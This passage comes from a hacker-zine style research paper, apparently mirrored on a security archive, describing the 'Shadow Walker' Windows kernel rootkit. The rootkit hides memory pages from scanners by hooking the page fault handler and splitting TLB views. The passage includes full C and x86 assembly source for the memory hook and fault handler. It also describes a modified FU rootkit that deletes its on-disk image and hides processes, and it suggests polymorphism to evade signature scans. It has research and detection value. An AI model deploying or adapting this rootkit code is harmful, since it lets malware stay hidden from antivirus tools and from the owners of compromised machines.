memory cloaked rootkit enforces execute, diverted read / write semantics,  
PaX enforces read / write, no execute semantics.  This enables PaX to      
provide software support for a non executable stack under the IA-32        
architecture, thereby thwarting a large class of stack based buffer        
overflow attacks.  When a PaX protected system detects an attempted execute 
in a read / write only range of memory, it terminates the offending        
process. Hardware support for non executable memory has subsequently been  
added to the page table entry format for some processors including IA-64
and pentium 4.  In contrast to PaX, our rootkit handler allows              
execution to proceed normally while diverting  read / write accesses to     
the hidden page off to an innocent appearing shadow page. Finally, it should
be noted that PaX uses the PTE user / supervisor bit to generate the
page faults required to enforce its protection. This limits it to protection
of solely user mode pages which is an impractical limitation for a
kernel mode rootkit. As such, we use the PTE present / not present bit
in our implementation.      
      
----[ 3.4 - Proof Of Concept Implementation                                
      
Our current implementation uses a modified FU rootkit and a new page fault 
handler called Shadow Walker. Since FU alters kernel data structures to    
hide processes and does not utilize any code hooks, we only had to be      
concerned with hiding the FU driver in memory. The kernel accounts for     
every process running on the system by storing an object called an EPROCESS 
block for each process in an internal linked list. FU disconnects the      
process it wants to hide from this linked list. 
      
------[ 3.4.a - Modified FU Rootkit                                        
      
We modified the current version of the FU rootkit taken from rootkit.com.  
In order to make it more stealthy, its dependence on a userland            
initialization program was removed. Now, all setup information in the form 
of OS dependant offsets are derived with a kernel level function. By       
removing the userland portion, we eliminated the need to create a symbolic 
link to the driver and the need to create a functional device, both of     
which are easily detected. Once FU is installed, its image on the file    
system can be deleted so all anti-virus scans on the file system will fail 
to find it. You can also imagine that FU could be installed from a kernel 
exploit and loaded into memory thereby avoiding any image on disk          
detection. Also, FU hides all processes whose names are prefixed with     
_fu_ regardless of the process ID (PID). We create a System thread that  
continually scans this list of processes looking for this prefix. FU and  
the memory hook, Shadow Walker, work in collusion; therefore, FU relies on  
Shadow Walker to remove the driver from the linked list of drivers in      
memory and from the Windows Object Manager's driver directory.             
      
----[ 3.4.b - Shadow Walker Memory Hook Engine                             
      
Shadow Walker consists of a memory hook installation module and a new page 
fault handler.  The memory hook module takes the virtual address of the    
page to be hidden as a parameter.  It uses the information contained in the 
address to perform a few sanity checks. Shadow Walker then installs the new
page fault handler by hooking Int 0E (if it has not been previously 
installed) and inserts the information about the hidden page into a hash 
table so that it can be looked up quickly on page faults. Lastly, the PTE 
for the page is marked non present and the TLB entry for the hidden page 
is flushed.  This ensures that all subsequent accesses to the page are 
filtered by the new page fault handler. 

/*************************************************************************  
* HookMemoryPage - Hooks a memory page by marking it not present           
*                  and flushing any entries in the TLB. This ensure        
*                  that all subsequent memory accesses will generate       
*                  page faults and be filtered by the page fault handler.  
*     
* Parameters:                                                              
*      PVOID pExecutePage - pointer to the page that will be used on 
*                           execute access
*                                                        
*      PVOID pReadWritePage - pointer to the page that will be used to load 
*                             the DTLB on data access              *        
*                            
*      PVOID pfnCallIntoHookedPage - A void function which will be called  
*                                    from within the page fault handler to 
*                                    to load the ITLB on execute accesses  
*
*      PVOID pDriverStarts (optional) - Sets the start of the valid range 
*                                       for data accesses originating from 
*                                       within the hidden page. 
*                 
*      PVOID pDriverEnds (optional) - Sets the end of the valid range for  
*                                     data accesses originating from within
*                                     the hidden page.                    
* Return - None                                                            
**************************************************************************/ 
void HookMemoryPage( PVOID pExecutePage, PVOID pReadWritePage, 
                     PVOID pfnCallIntoHookedPage, PVOID pDriverStarts, 
                     PVOID pDriverEnds )                          
{                   
        HOOKED_LIST_ENTRY HookedPage = {0};                                 
        HookedPage.pExecuteView = pExecutePage;                             
        HookedPage.pReadWriteView = pReadWritePage;                        
        HookedPage.pfnCallIntoHookedPage = pfnCallIntoHookedPage;           
        if( pDriverStarts != NULL)                                          
           HookedPage.pDriverStarts = (ULONG)pDriverStarts;           
        else 
           HookedPage.pDriverStarts = (ULONG)pExecutePage;  

        if( pDriverEnds != NULL)
           HookedPage.pDriverEnds = (ULONG)pDriverEnds;                             
        else                                                               
        {       //set by default if pDriverEnds is not specified           
                if( IsInLargePage( pExecutePage ) )                        
                   HookedPage.pDriverEnds = 
                   (ULONG)HookedPage.pDriverStarts + LARGE_PAGE_SIZE; 
                else          
                   HookedPage.pDriverEnds = 
                   (ULONG)HookedPage.pDriverStarts + PAGE_SIZE;       
        }//end if                                                          
        
        __asm cli //disable interrupts                                     
        
        if( hooked == false )                                              
        {      HookInt( &g_OldInt0EHandler, 
                      (unsigned long)NewInt0EHandler, 0x0E ); 
               hooked = true;                                              
        }//end if                                                          
        
        HookedPage.pExecutePte = GetPteAddress( pExecutePage );            
        HookedPage.pReadWritePte = GetPteAddress( pReadWritePage ); 
       
        //Insert the hooked page into the list                             
        PushPageIntoHookedList( HookedPage ); 
                             
        //Enable the global page feature    
        EnableGlobalPageFeature( HookedPage.pExecutePte );                 
        
        //Mark the page non present                                        
        MarkPageNotPresent( HookedPage.pExecutePte );  
                    
        //Go ahead and flush the TLBs.  We want to guarantee that all      
        //subsequent accesses to this hooked page are filtered 
        //through our new page fault handler.                              
        __asm invlpg pExecutePage       
                                   
        __asm sti //reenable interrupts                             
}//end HookMemoryPage  
                                                    
The functionality of the page fault handler is relatively straight forward 
despite the seeming complexity of the scheme.  Its primary functions are 
to determine if a given page fault is originating from a hooked page, 
resolve the access type, and then load the appropriate TLB. As such, the 
page fault handler has basically two execution paths.  If the page is 
unhooked, it is passed down to the operating system page fault handler. 
This is determined as quickly and efficiently as possible.  Faults 
originating from user mode addresses or while the processor is running in 
user mode are immediately passed down. The fate of kernel mode accesses is 
also quickly decided via a hash table lookup. Alternatively, once the page 
has been determined to be hooked the access type is checked and directed to
the appropriate TLB loading code (Execute accesses will cause a ITLB load 
while Read / Write accesses cause a DTLB load). The procedure for TLB 
loading is as follows:
        
1. The appropriate physical frame mapping is loaded into the PTE for the   
   faulting address.                                                       
2. The page is temporarily marked present.                                 
3. For a DTLB load, a memory read on the hooked page is performed.         
4. For an ITLB load, a call into the hooked page is performed.             
5. The page is marked as non present again.                                
6. The old physical frame mapping for the PTE is restored.                 
      
After TLB loading, control is directly returned to the faulting code. 

                                                                
/**************************************************************************
* NewInt0EHandler - Page fault handler for the memory hook engine (aka. the
*                   guts of this whole thing ;) 
*                                                               
* Parameters - none                                             
*                                                               
* Return -      none                                            
*                                                               
***************************************************************************
void __declspec( naked ) NewInt0EHandler(void)                  
{                                                               
        __asm                                                   
        {                                                       
                pushad                                          
                mov edx, dword ptr [esp+0x20] //PageFault.ErrorCode        
                                                                
                test edx, 0x04 //if the processor was in user mode, then   
                jnz PassDown   //pass it down                              
                                                                
                mov eax,cr2     //faulting virtual address      
                cmp eax, HIGHEST_USER_ADDRESS                   
                jbe PassDown   //we don't hook user pages, pass it down    
                                                                
                ////////////////////////////////////////        
                //Determine if it's a hooked page               
                /////////////////////////////////////////       
                push eax                                        
                call FindPageInHookedList                       
                mov ebp, eax //pointer to HOOKED_PAGE structure            
                cmp ebp, ERROR_PAGE_NOT_IN_LIST                 
                jz PassDown  //it's not a hooked page           
                                                                
                ///////////////////////////////////////         
                //NOTE: At this point we know it's a            
                //hooked page. We also only hook                
                //kernel mode pages which are either            
                //non paged or locked down in memory            
                //so we assume that all page tables             
                //are resident to resolve the address           
                //from here on out.                             
                /////////////////////////////////////           
                mov eax, cr2                                    
                mov esi, PROCESS_PAGE_DIR_BASE                  
                mov ebx, eax                                    
                shr ebx, 22                                     
                lea ebx, [esi + ebx*4]  //ebx = pPTE for large page        
                test [ebx], 0x80        //check if its a large page
                jnz IsLargePage                                 
                                                                
                mov esi, PROCESS_PAGE_TABLE_BASE                
                mov ebx, eax                                     
                shr ebx, 12                                     
                lea ebx, [esi + ebx*4]  //ebx = pPTE            
                                                                
IsLargePage:                                                    
                                                                
                cmp [esp+0x24], eax     //Is due to an attepmted execute?
                jne LoadDTLB                                    
                                                                
                ////////////////////////////////                
                // It's due to an execute. Load                 
                // up the ITLB.                                 
                ///////////////////////////////                 
                cli                       
                or dword ptr [ebx], 0x01         //mark the page present 
                call [ebp].pfnCallIntoHookedPage //load the itlb         
                and dword ptr [ebx], 0xFFFFFFFE  //mark page not present 
                sti                                             
                jmp ReturnWithoutPassdown                       
                                                                
                ////////////////////////////////                
                // It's due to a read /write                    
                // Load up the DTLB                             
                ///////////////////////////////                 
                ///////////////////////////////                 
                // Check if the read / write                    
                // is originating from code                     
                // on the hidden page.                          
                ///////////////////////////////                 
LoadDTLB:                                                       
                mov edx, [esp+0x24]             //eip           
                cmp edx,[ebp].pDriverStarts                     
                jb LoadFakeFrame                                
                cmp edx,[ebp].pDriverEnds                       
                ja LoadFakeFrame                                
                                                                
                /////////////////////////////////               
                // If the read /write is originating            
                // from code on the hidden page,then            
                // let it go through. The code on the           
                // hidden  page will follow protocol            
                // to clear the TLB after the access.           
                ////////////////////////////////                
                cli                                             
                or dword ptr [ebx], 0x01           //mark the page present
                mov eax, dword ptr [eax]           //load the DTLB        
                and dword ptr [ebx], 0xFFFFFFFE    //mark page not present
                sti                                             
                jmp ReturnWithoutPassdown                       
                                                                
                /////////////////////////////////               
                // We want to fake out this read                
                // write. Our code is not generating            
                // it.                                          
                /////////////////////////////////               
LoadFakeFrame:                                                  
                mov esi, [ebp].pReadWritePte                    
                mov ecx, dword ptr [esi]            //ecx = PTE of the    
                                                    //read / write page   
                                                                
                //replace the frame with the fake one                     
                mov edi, [ebx]                                  
                and edi, 0x00000FFF //preserve the lower 12 bits of the   
                                    //faulting page's PTE                 
                and ecx, 0xFFFFF000 //isolate the physical address in     
                                    //the "fake" page's PTE               
                or ecx, edi                                     
                mov edx, [ebx]     //save the old PTE so we can replace it
                cli       
                mov [ebx], ecx    //replace the faulting page's phys frame
                                  //address w/ the fake one               
                                                                
                //load the DTLB                                 
                or dword ptr [ebx], 0x01   //mark the page present        
                mov eax, cr2               //faulting virtual address     
                mov eax, dword ptr[eax]    //do data access to load DTLB  
                and dword ptr [ebx], 0xFFFFFFFE //re-mark page not present
                                                                
                //Finally, restore the original PTE             
                mov [ebx], edx                                  
                sti                                             
                                                                
ReturnWithoutPassDown:                                          
                popad                                           
                add esp,4                                       
                iretd                                           
                                                                
PassDown:                                                       
                popad                                           
                jmp g_OldInt0EHandler                           
                                                                
        }//end asm                                              
}//end NewInt0E                                                 

                                         
--[ 4 - Known Limitations & Performance Impact  
                           
As our current rootkit is intended only as a proof of concept
demonstration rather than a fully engineered attack tool, it possesses
a number of implementational limitations.  Most of this functionality 
could be added, were one so inclined.  First, there is no effort to
support hyperthreading or multiple processor systems.  Additionally, 
it does not support the Pentium PAE addressing mode which extends 
the number of physically addressable bits from 32 to 36. Finally, the
design is  limited to cloaking only 4K sized kernel mode pages 
(i.e. in the upper 2 GB range of the memory address space). We mention
the 4K page limitation because there are currently some technical 
issues with regard to hiding the 4MB page upon which ntoskrnl resides.
Hiding the page containing ntoskrnl would be a noteworthy extension.
In terms of performance, we have not completed rigorous testing, but
subjectively speaking there is no noticeable performance impact after 
the rootkit and memory hooking engine are installed.  For maximum 
performance, as mentioned previously, code and data should remain 
on separate pages and the usage of global data should be minimized 
to limit the impact on performance if one desires to enable both 
data and executable page cloaking. 

--[ 5 - Detection

There are at least a few obvious weaknesses that must be dealt with to
avoid detection. Our current proof of concept implementation does not 
address them, however, we note them here for the sake of completeness. 
Because we must be able to differentiate between normal page faults and 
those faults related to the memory hook, we impose the requirement that
hooked pages must reside in non paged memory. Clearly, non present pages
in non paged memory present an abnormality. Weather or not this is a 
sufficient heuristic to call a rootkit alarm is, however, debatable.  
Locking down pagable memory using an API like MmProbeAndLockPages is 
probably more stealthy. The next weakness lies in the need to disguise 
the presence of the page fault handler.  Because the page where the page  
fault handler resides cannot be marked non present due to the obvious 
issues with recursive reentry, it will be vulnerable to a simple signature 
scan and must be obsfucated using more traditional methods. Since this 
routine is small, written in ASM, and does not rely upon any kernel API's, 
polymorphism would be a reasonable solution.  A related weakness  
arises in the need to disguise the presence of the IDT hook. We cannot use 
our memory hooking technique to disguise the modifications to the  
interrupt descriptor table for similar reasons as the page fault handler. 
While we could hook the page fault interrupt via an inline hook rather
than direct IDT modification, placing a memory hook on the page 
containing the OS's INT 0E handler is problematic and inline hooks 
are easily detected. Joanna Rutkowska proposed using the debug registers 
to hide IDT hooks [5], but Edgar Barbosa demonstrated they are not a
completey effective solution [12]. This is due to the fact that debug 
registersprotect virtual as opposed to physical addresses. One may simply
remap the physical frame containing the IDT to a different virtual address
and read / write the IDT memory as one pleases. Shadow Walker falls prey 
to this type of attack as well, based as it is, upon the exploitation 
of virtual rather than physical memory. Despite this aknowleged 
weakness, most commercial security scanners still perform virtual 
rather than physical memory scans and will be fooled by rootkits like 
Shadow Walker.  Finally, Shadow Walker is insidious. Even if a scanner 
detects Shadow Walker, it will be virtually helpless to remove it on a 
running system. Were it to successfully over-write the hook with the
original OS page fault handler, for example, it would likely BSOD the 
system because there would be some page faults occurring on the hidden
pages which neither it nor the OS would know how to handle.
                                                           
--[ 6 - Conclusion                                                     
      
Shadow Walker is not a weaponized attack tool. Its functionality is 
limited and it makes no effort to hide it's hook on the IDT or its page
fault handler code. It provides only a practical proof of concept 
implementation of virtual memory subversion. By inverting the defensive
software implementation of non executalbe memory, we show that it is
possible to subvert the view of virtual memory relied upon by the 
operating system and almost all security scanner applications. Due to its
exploitation of the TLB architecture, Shadow Walker is transparent and 
exhibits an extremely light weight performance hit.  Such characteristics
will no doubt make it an attractive solution for viruses, worms, and 
spyware applications in addition to rootkits.      
      
--[ 7 - References 

1. Tripwire, Inc. http://www.tripwire.com/
2. Butler, James, VICE - Catch the hookers! Black Hat, Las Vegas, July, 
   2004. www.blackhat.com/presentations/bh-usa-04/bh-us-04-butler/
   bh-us-04-butler.pdf
3. Fuzen, FU Rootkit. http://www.rootkit.com/project.php?id=12
4. Holy Father, Hacker Defender. http://hxdef.czweb.org/
5. Rutkowska, Joanna, Detecting Windows Server Compromises with Patchfinder
   2. January, 2004.
6. Butler, James and Hoglund, Greg, Rootkits: Subverting the Windows 
   Kernel. July, 2005. 
7. B. Cogswell and M. Russinovich, RootkitRevealer, available at: 
   www.sysinternals.com/ntw2k/freeware/rootkitreveal.shtml
8. F-Secure BlackLight (Helsinki, Finland: F-Secure Corporation, 2005): 
   www.fsecure.com/blacklight/
9. Jack, Barnaby. Remote Windows Exploitation: Step into the Ring 0
   http://www.eeye.com/~data/publish/whitepapers/research/
   OT20050205.FILE.pdf
10. Chong, S.K. Windows Local Kernel Exploitation. 
    http://www.bellua.com/bcs2005/asia05.archive/
    BCSASIA2005-T04-SK-Windows_Local_Kernel_Exploitation.ppt
11. William A. Arbaugh, Timothy Fraser, Jesus Molina, and Nick L. Petroni: 
    Copilot: A Coprocessor Based Runtime Integrity Monitor. Usenix Security
    Symposium 2004. 
12. Barbosa, Edgar. Avoiding Windows Rootkit Detection
    http://packetstormsecurity.org/filedesc/bypassEPA.pdf
13. Rutkowska, Joanna. Concepts For The Stealth Windows Rootkit, Sept 2003
    http://www.invisiblethings.org/papers/chameleon_concepts.pdf 
14. Russinovich, Mark and Solomon, David. Windows Internals, Fourth 
    Edition.           

--[ 8 - Aknowlegements

Thanks and aknowlegements go to Joanna Rutkowska for her Chamelon Project 
paper as it was one of the inspirations for this project, to the PAX team
for showing how to desynchronize the TLB in their software implementation
of non executable memory, to Halvar Flake for our inital discussions 
of the Shadow Walker idea, and to Kayaker for helping beta test and debug
some of the code. We would finally like to extend our greetings to
all of the contributors on rootkit.com :)                                  
      
|=[ EOF ]=---------------------------------------------------------------=|


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH